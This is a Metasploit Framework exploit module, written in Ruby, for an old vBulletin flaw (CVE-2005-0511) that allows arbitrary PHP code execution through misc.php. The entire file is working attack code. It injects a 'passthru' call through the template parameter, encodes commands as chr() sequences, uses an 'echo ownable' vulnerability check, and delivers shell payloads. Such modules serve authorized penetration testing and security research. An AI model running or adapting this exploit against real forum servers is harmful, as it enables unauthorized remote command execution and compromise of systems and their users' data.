Metasploit Framework

##

# $Id$

##

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

        Rank = ExcellentRanking

        include Msf::Exploit::Remote::HttpClient

        # XXX This module needs an overhaul

        def initialize(info = {})

                super(update_info(info,

                        'Name'           => 'vBulletin misc.php Template Name Arbitrary Code Execution',

                        'Description'    => %q{

                                        This module exploits an arbitrary PHP code execution flaw in

                                the vBulletin web forum software. This vulnerability is only

                                present when the "Add Template Name in HTML Comments" option

                                is enabled. All versions of vBulletin prior to 3.0.7 are

                                affected.

                        },

                        'Author'         =>

                                [

                                        'str0ke <str0ke[at]milw0rm.com>',

                                        'cazz'

                                ],

                        'License'        => BSD_LICENSE,

                        'Version'        => '$Revision$',

                        'References'     =>

                                [

                                        [ 'CVE', '2005-0511' ],

                                        [ 'BID', '12622' ],

                                        [ 'OSVDB', '14047' ],

                                ],

                        'Privileged'     => false,

                        'Platform'       => ['unix', 'solaris'],

                        'Payload'        =>

                                {

                                        'Space'       => 512,

                                        'DisableNops' => true,

                                        'Keys'        => ['cmd', 'cmd_bash'],

                                },

                        'Targets'        => [ ['Automatic', { }], ],

                        'DefaultTarget'  => 0,

                        'DisclosureDate' => 'Feb 25 2005'

                        ))

                register_options(

                        [

                                OptString.new('PATH', [ true,  "Path to misc.php", '/forum/misc.php']),

                        ], self.class)

                deregister_options(

                        'HTTP::junk_slashes' # For some reason junk_slashes doesn't always work, so turn that off for now.

                )

        end

        def go(command)

                wrapper = rand_text_alphanumeric(rand(128)+32)

                command = "echo #{wrapper};#{command};echo #{wrapper};"

                encoded = command.unpack("C*").collect{|x| "chr(#{x})"}.join('.')

                res = send_request_cgi({

                                'uri'      => datastore['PATH'],

                                'method'   => 'GET',

                                'vars_get' =>

                                        {

                                                'do' => "page",

                                                'template' => "{${passthru(#{encoded})}}"

                                        }

                        }, 5)

                if (res and res.body)

                        b = /#{wrapper}[\s\r\n]*(.*)[\s\r\n]*#{wrapper}/sm.match(res.body)

                        if b

                                return b.captures[0]

                        elsif datastore['HTTP::chunked'] == true

                                b = /chunked Transfer-Encoding forbidden/.match(res.body)

                                if b

                                        raise RuntimeError, 'Target PHP installation does not support chunked encoding. ' +

                                                'Support for chunked encoded requests was added to PHP on 12/15/2005. ' +

                                                'Try disabling HTTP::chunked and trying again.'

                                end

                        end

                end

                return nil

        end

        def check

                response = go("echo ownable")

                if (!response.nil? and response =~ /ownable/sm)

                        return Exploit::CheckCode::Vulnerable

                end

                return Exploit::CheckCode::Safe

        end

        def exploit

                response = go(payload.encoded)

                if response == nil

                        print_error('exploit failed: no response')

                else

                        if response.length == 0

                                print_status('exploit successful')

                        else

                                print_status("Command returned #{response}")

                        end

                        handler

                end

        end

end